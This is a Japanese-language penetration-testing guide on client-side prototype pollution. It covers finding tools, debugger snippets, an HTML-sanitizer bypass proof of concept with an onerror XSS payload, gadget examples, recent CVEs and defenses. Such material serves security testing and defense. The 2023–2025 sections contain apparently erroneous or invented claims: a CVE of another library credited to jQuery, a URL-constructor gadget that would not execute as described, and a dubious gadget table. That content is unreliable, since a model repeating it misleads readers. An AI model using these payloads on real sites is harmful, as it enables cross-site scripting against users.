クライアントサイドプロトタイプ汚染

Reading time: 14 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

自動ツールを使用した発見

ツール https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap および https://github.com/kosmosec/proto-findプロトタイプ汚染の脆弱性を見つける ために使用できます。

さらに、ブラウザ拡張機能 PPScan を使用して、自動的に アクセスする ページ のプロトタイプ汚染の脆弱性をスキャンすることもできます。

プロパティが使用されている場所のデバッグ

javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

Prototype Pollutionの根本原因を特定する

プロトタイプ汚染の脆弱性がツールによって特定され、コードがそれほど複雑でない場合、Chrome Developer Toolsでlocation.hashdecodeURIComponent、またはlocation.searchなどのキーワードを検索することで脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。

より大きく、より複雑なコードベースの場合、脆弱なコードを発見するための簡単な方法は、以下の手順を含みます:

  1. 脆弱性を特定するためのツールを使用し、コンストラクタ内のプロパティを設定するために設計されたペイロードを取得します。ppmapによって提供される例は次のようになります:constructor[prototype][ppmap]=reserved
  2. ページで実行される最初のJavaScriptコードの行にブレークポイントを設定します。ペイロードでページをリフレッシュし、このブレークポイントで実行を一時停止します。
  3. JavaScriptの実行が一時停止している間、JSコンソールで次のスクリプトを実行します。このスクリプトは、'ppmap'プロパティが作成されたときに信号を送信し、その起源を特定するのに役立ちます:
javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")
  1. Sources タブに戻り、「スクリプトの実行を再開」を選択します。JavaScript は引き続き実行され、'ppmap' プロパティは予想通りに汚染されます。提供されたスニペットを利用することで、'ppmap' プロパティが汚染される正確な場所を特定できます。Call Stack を調べることで、汚染が発生した異なるスタックを観察できます。

どのスタックを調査するかを決定する際には、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。複数のスタックがあるシナリオでは、例えば行 4 と 6 のように、行 4 のスタックが論理的な選択です。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

スクリプトガジェットの発見

ガジェットは、PP 脆弱性が発見されたときに悪用されるコードです。

アプリケーションがシンプルな場合、srcdoc/innerHTML/iframe/createElement のような キーワード検索 し、ソースコードをレビューして JavaScript 実行につながるか を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。

Mithil ライブラリコードでの PP ガジェットの発見例

この書き込みを確認してください: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

脆弱なライブラリ用のペイロードの再コンパイル

PP を介した HTML サニタイザーのバイパス

この研究 は、いくつかの HTML サニタイザーライブラリによって提供される サニタイズをバイパスするために使用する PP ガジェット を示しています:

  • sanitize-html
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure
html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

新しいツールと自動化 (2023–2025)

  • Burp Suite DOM Invader (v2023.6) – PortSwiggerは、パラメータ名(例:__proto__constructor.prototype)を自動的に変異させ、ブラウザ拡張内のシンクポイントで汚染されたプロパティを検出する専用のPrototype-pollutionタブを追加しました。ガジェットがトリガーされると、DOM Invaderは実行スタックとプロパティがデリファレンスされた正確な行を表示し、手動でのブレークポイント探索を不要にします。上記で示した「プロパティアクセスでブレーク」スニペットと組み合わせて、source → sinkから迅速にピボットできます。
  • protoStalker – プロトタイプチェーンをリアルタイムで視覚化し、onerrorinnerHTMLsrcdocidなどのグローバルに危険なキーへの書き込みをフラグ付けするオープンソースのChrome DevToolsプラグイン(2024年リリース)。プロダクションバンドルしか持っていない場合やビルドステップを計測できない場合に便利です。
  • ppfuzz 2.0 (2025) – このツールは現在、ESモジュール、HTTP/2、およびWebSocketエンドポイントをサポートしています。新しい-A browserモードは、ヘッドレスChromiumインスタンスを起動し、DOM APIをブルートフォースしてガジェットクラスを自動的に列挙します(以下のセクションを参照)。

最近のプロトタイプ汚染ガジェット研究 (2022–2025)

2023年中頃、PortSwiggerの研究者たちは、ブラウザ組み込みオブジェクトが一度汚染されると信頼できるXSSガジェットに変わることを示す論文を発表しました。これらのオブジェクトはすべてのページに存在するため、ターゲットアプリケーションコードが汚染されたプロパティに触れなくても実行を得ることができます。

例のガジェット(すべてのエバーグリーンブラウザで動作 ≥ 2023-04):

html
<script>
// Source (e.g. https://victim/?__proto__[href]=javascript:alert(document.domain))
// For demo we just pollute manually:
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Sink – URL() constructor implicitly reads `href`
new URL('#'); // breaks into JS; in Chrome you get an alert, Firefox loads "javascript:" URL
</script>

他の有用なグローバルガジェットは、汚染後に動作することが確認されています(テスト済み2024-11):

ガジェットクラス読み取りプロパティ達成されたプリミティブ
Notificationtitle通知クリックによる alert()
Workername専用Worker内でのJS実行
Imagesrc従来の onerror XSS
URLSearchParamstoStringDOMベースのオープンリダイレクト

完全な11のガジェットのリストとサンドボックスエスケープに関する議論については、PortSwiggerの論文を参照してください。


注目すべきクライアントサイドPP CVE(2023-2025)

  • DOMPurify ≤ 3.0.8 – CVE-2024-45801 攻撃者は、サニタイザーが初期化される前に Node.prototype.after を汚染し、SAFE_FOR_TEMPLATES プロファイルをバイパスして保存されたXSSを引き起こす可能性があります。ベンダーは、Object.hasOwn() チェックと Object.create(null) を内部マップに使用することでパッチを適用しました。
  • jQuery 3.6.0-3.6.3 – CVE-2023-26136 / CVE-2023-26140 extend() は、location.hash からの作成されたオブジェクトに使用され、ブラウジングコンテキスト内の Object.prototype に任意のプロパティを導入しました。
  • sanitize-html < 2.8.1 (2023-10) プロトタイプ汚染 悪意のある属性リスト {"__proto__":{"innerHTML":"<img/src/onerror=alert(1)>"}} が許可リストをバイパスしました。

脆弱なライブラリがクライアント上にのみ存在していても、結果として生じるXSSは、反射されたパラメータ、postMessageハンドラー、または後でレンダリングされる保存データを通じてリモートで悪用可能です。


現代の防御策

  1. グローバルプロトタイプを早期にフリーズする(理想的には最初のスクリプトとして):
javascript
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);

これにより、遅延拡張に依存するポリフィルが壊れる可能性があることに注意してください。 2. JSON.parse(JSON.stringify(obj)) やコミュニティの "deepMerge" スニペットの代わりに structuredClone() を使用します – これはセッター/ゲッターを無視し、プロトタイプチェーンを歩きません。 3. 深いマージ機能が本当に必要な場合は、lodash ≥ 4.17.22 または deepmerge ≥ 5.3.0 を選択してください。これらには組み込みのプロトタイプサニタイズがあります。 4. script-src 'self' と厳格なノンスを持つContent-Security-Policyを追加します。CSPはすべてのガジェットを防ぐわけではありません(例:location 操作)が、innerHTML シンクの大部分をブロックします。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする